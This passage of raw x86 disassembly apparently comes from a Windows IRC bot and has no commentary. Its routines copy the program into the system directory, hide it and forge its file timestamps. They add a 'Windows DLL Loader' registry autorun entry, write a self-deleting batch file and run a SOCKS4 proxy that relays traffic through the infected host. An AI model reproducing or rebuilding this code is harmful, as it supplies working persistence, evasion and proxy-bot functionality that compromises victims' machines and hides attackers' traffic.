ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 ; GetWindowsDirectoryA push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 ; GetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C ; SetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 ; WriteFile push [ebp+var_28] call dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: sub_4167F1:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: .data:0041AD4Co ; .data:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset dword_41EB2C push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C ; CreateProcessA call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EB2C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EB2C push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EB2C push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DE30 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE30 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = 